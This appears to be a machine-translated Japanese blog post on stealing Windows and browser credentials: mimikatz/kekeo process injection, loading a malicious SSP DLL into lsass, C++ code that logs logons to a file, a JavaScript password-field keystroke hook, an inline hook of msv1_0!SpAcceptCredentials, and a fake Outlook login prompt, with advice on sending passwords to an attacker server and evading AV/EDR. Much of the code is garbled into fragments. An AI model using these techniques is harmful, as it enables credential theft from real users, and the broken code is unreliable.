他のユーザーの資格情報をダンプする方法

著者はうまく再現できていませんが、プロセス全体を一般的に理解しています

現在「システム」であると仮定して、最初に他のユーザーのプロセスを探します(ユーザーは標準ユーザーまたは管理者ユーザーにすることができます)。


kekeoを使用してサーバーを起動します。

# ケケオ,標準のユーザーID

別のターミナルを開き、 mimikatzを使用してプロセス(jerryとして実行されているプロセス)を挿入し、 tsssp :: clientを実行します。

著者が理解しているのはプロセスインジェクションですが、これは間違っている可能性があります

" kekeo.exe \"tsssp::client /target:A\" exit"

最後に、 tsssp :: serverは割り当てられた資格情報を受け取ります。

概要

実際、イミテーショントークンやその他のツールを使用してプロセスを挿入し、IDの盗難を実現したり、 tsssp :: clientを使用してプレーンテキストのパスワードを取得したりするなど、より良い方法があると思います。

割り当てられた資格情報のローカル列挙

レジストリを介して割り当てられた資格情報を照会します

# 配布資格情報がオンになっているかどうかを確認します
# SPNが配布を受け入れる資格情報を表示する

AD列挙によって割り当てられた資格情報

参照:

gpresult

Get-GPOReport

# デフォルトはローカルです
# or
"0 day.org""OWA2010SP3""C:\Users\jerry.0day\GPOReportsAll.html"
# 前者を推奨し、ローカルコンテンツをすばやくプルする

グループポリシーをhtmlファイルとしてエクスポートし、ブラウザを介して関連するポリシー設定を表示します。これまでのところ、このセクションは終了します。

**カスタムセキュリティサポートプロバイダー(セキュリティサポートプロバイダー)および認証パッケージを介してログイン資格情報を傍受します。 **

SSPと呼ばれるセキュリティサポートプロバイダー(SSP)は、特にDLLとして実装されます。これらのDLLは、システムの起動時にlsass.exeプロセスに挿入されるか、 AddSecurityPackageAPIを介して動的に挿入されます。

再起動してSSPをロードします

# ビット数に対応するmimilibを使用する.dll
" Security Packages""Security Packages""kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib"
#\0 包むことです
# 上記の操作には管理者権限が必要です
# ログインを再開します
type
" Security Packages"""
# 構成を復元する

再起動せずにSSPをロード

AddSecurityPackageAAPIを介してLsass.exeプロセスを動的に挿入します。

# define WIN32_NO_STATUS
# define SECURITY_WIN32
# include <windows.h>
# include <sspi.h>
# include <NTSecAPI.h>
# include <ntsecpkg.h>
# pragma comment(lib,"Secur32.lib")
int main()"C:\\Users\\jerry\\mimilib.dll"return0

実際、mimikatzは対応するコマンドも提供します。


検出

コード

# include "stdafx.h"
# define WIN32_NO_STATUS
# define SECURITY_WIN32
# include <windows.h>
# include <sspi.h>
# include <NTSecAPI.h>
# include <ntsecpkg.h>
# include <iostream>
# pragma comment(lib,"Secur32.lib")
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)return0
NTSTATUS NTAPI SpShutDown(void)return0
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
L"SSSPotless"
L"SSSPotless <o>"01return0
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
L"c:\\temp\\logged-pw.txt"0
NULL
NULL
0
std
wstring
log
L""
std
wstring
std
wstring
std
wstring
log
L"@"
L":"
L"\n"
log
log
2
NULL
return0
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL

上記のコードは、変更された部分であるmimikatzからのものであり、SSP DLLをコンパイルし、認証情報を傍受して、それを c:\\ temp \\ logged-pw.txtに保存できます。

いくつかのSSP関連のリンクとトリック

参照:

MimikatzでのSSPの使用

Security Support Provider

Security Support Provider——MSDN

MimikatzアーティファクトのSSPを探索する

Persistence – Security Support Provider

HookingHTML入力フィールドからWebアプリケーションのパスワードを抽出します

**いつ役に立ちますか? **

パスワードフィールドをフックする

Events

WEBアプリケーションで定義されているパスワードフィールドの input属性は passwordです。

すべてのWeb要素は、さまざまなタイプのイベントに応答し、これらのイベントが発生したときにコードを実行できます。たとえば、入力フィールドは、onFocus(オブジェクトがフォーカスを取得)、onBlur(オブジェクトがフォーカスを失う)、およびキー押下を含むその他のイベントなどのイベントに応答できます。 onKeyDownおよびonKeyUpのさまざまなキーボードイベント。

イベントの詳細-HTMLイベント属性

Hooking

""' input[type="password"]'function(e) 
console
" pw"

上記のコードはパスワードのみをキャプチャし、ユーザー名も同じ方法で取得できます

大まかに説明します。

ターゲットがパスワードを取得する前にターゲットのWEBアプリケーションタブを閉じると、フッキングはクリアされ、フッキングはここで操作を繰り返す必要があります。
ヒント:コンソールをクリアする方法は、ここでCtrl + rを使用します(Webページをリロードします)

保存したパスワードを読む

コンソールからローカルストレージを読み取ります


ブラウザを閉じても動作します

ディスク上のLocalStorageファイル

ローカルストレージは ****。logの %localappdata%\ Google \ Chrome \ User Data \ Profile 1 \ Local Storage \ leveldbのパスにあり、作成者は 003356.logです。

著者のクロムバージョンv83、異なるバージョンのパスは異なります。

テキストファイルを開き、「pw」フィールドを検索して、保存されているパスワードを見つけます。

正常に再現されません

浸透

上記のコードは、ローカルストレージファイルを表示または表示するためにコンソールを使用する必要なしに、キーが押されるたびに攻撃者によって制御されるWebサーバーにパスワードを送信するように簡単に変更できます。

パスワードを転送するときは暗号化された通信を使用してください

検出

LocalStoraged *****。logには、挿入されたフッキングコードが含まれているため、%localappdata%\ Google \ Chrome \ User Data \ Profile 1 \ Local Storage \ leveldbの ***。logを監視できます。 ファイル、ファイルにはJavaScriptパスワードセレクターとキーワード onkeypress、 onkeyup、 onkeydownなどが含まれています。

**msv1_0!SpAcceptCredentialsをフックすると、ログイン資格情報がインターセプトされます。 **

参照:

Mimikatzの詳細な分析:SSP

Exploring Mimikatz - Part 2 - SSP

この章は著者の個人的な知識に限定されており、理解することはできないため、ここではその使用方法のみを説明します。

# include "stdafx.h"
# include <iostream>
# include <Windows.h>
# define SECURITY_WIN32
# include <Sspi.h>
# include <ntsecapi.h>
# include <ntsecpkg.h>
using
char
0 x480x830xec0x200x490x8b0xd90x490x8b0xf80x8b0xf10x48
char
120 x480xb8
NULL
NULL
char
120 voidinstallSpAccecptedCredentialsHook()
PVOID GetPatternMemoryAddress(char *startAddress, char *pattern, SIZE_T patternSize, SIZE_T searchBytes)
unsigned
int
0
NULL
char
00 doif0for
size_t
1
char
char
ifbreakif1returnwhilereturn
NULL
NTSTATUS NTAPI hookedSpAccecptedCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)0
L"c:\\temp\\credentials.txt"0
NULL
NULL
NULL
// intercept credentials and write them to disk
NULL
"@"2
NULL
NULL
":"2
NULL
NULL
// unhook msv1_0!SpAcceptCredentials
sizeof
NULL
// hook msv1_0!SpAcceptCredentials again with a delay so that originalSpAcceptCredentials() can execute
NULL
NULL
NULL
NULL
NULL
// call original msv1_0!SpAcceptCredentialsreturnvoidinstallSpAccecptedCredentialsHook()10005"msv1_0.dll"0// find address of msv1_0!SpAcceptCredentials
char
sizeof
16 // store first sizeof(bytesToRestoreSpAccecptedCredentials) bytes of the original msv1_0!SpAcceptCredentials routine
std
memcpy
sizeof
// hook msv1_0!SpAcceptCredentials with "mov rax, hookedSpAccecptedCredentials; jmp rax";
std
memcpy
2
sizeof
std
memcpy
2
sizeof
"\ xff\xe0"2
sizeof
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)switchcasecasecasecasebreakreturn

それをDLLにコンパイルするか、前の AddSecurityPackageAを使用してDLLをロードするか、RPCを使用して LoadLibraryを介してDLLをロードします(RPC呼び出しはlsassのDLLリストをロードしないようです)。

注:上記のコードを理解し、AVまたはEDRをバイパスして、原則に従って実際の環境で自分のペイロードをカスタマイズする有能なマスター。

**CredUIPromptForCredentials **を通じて資格情報を収集します##

ユーザーの資格情報を盗む

# include <iostream>
# include <Windows.h>
# include <wincred.h>
# pragma comment(lib,"Credui.lib")
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
sizeof
std
wstring
L"Microsoft Outlook"
std
wstring
L"Connecting to [email protected]"2552550
L"."
NULL
5255255 if
NULL
NULL
if// valid credentials providedelse// invalid credentials providedelseif// no credentials providedreturn0

さらに、ここで使用される関数は CredUIPromptForCredentialsWですが、作成者は CredUIPromptForWindowsCredentialsAを使用することをお勧めします。
コンパイルする場合は、C ++デスクトップアプリケーションテンプレートを選択してください

同じ効果を得るには、powershellで Get-Credentialを使用します。

ユーザーがパスワードを入力するためのプロンプトボックスがポップアップします。パスワードはファイルとして保存するか、ネットワーク経由で制御対象サーバーに送信できます(コードのこの部分は指定されていません)。

テスト資格

少し、著者のこの部分はうまく再現されていません。この時点で、資格情報の収集は終了しました。

オリジナル:https://wuhash.com

Recommended Posts

資格情報収集の概要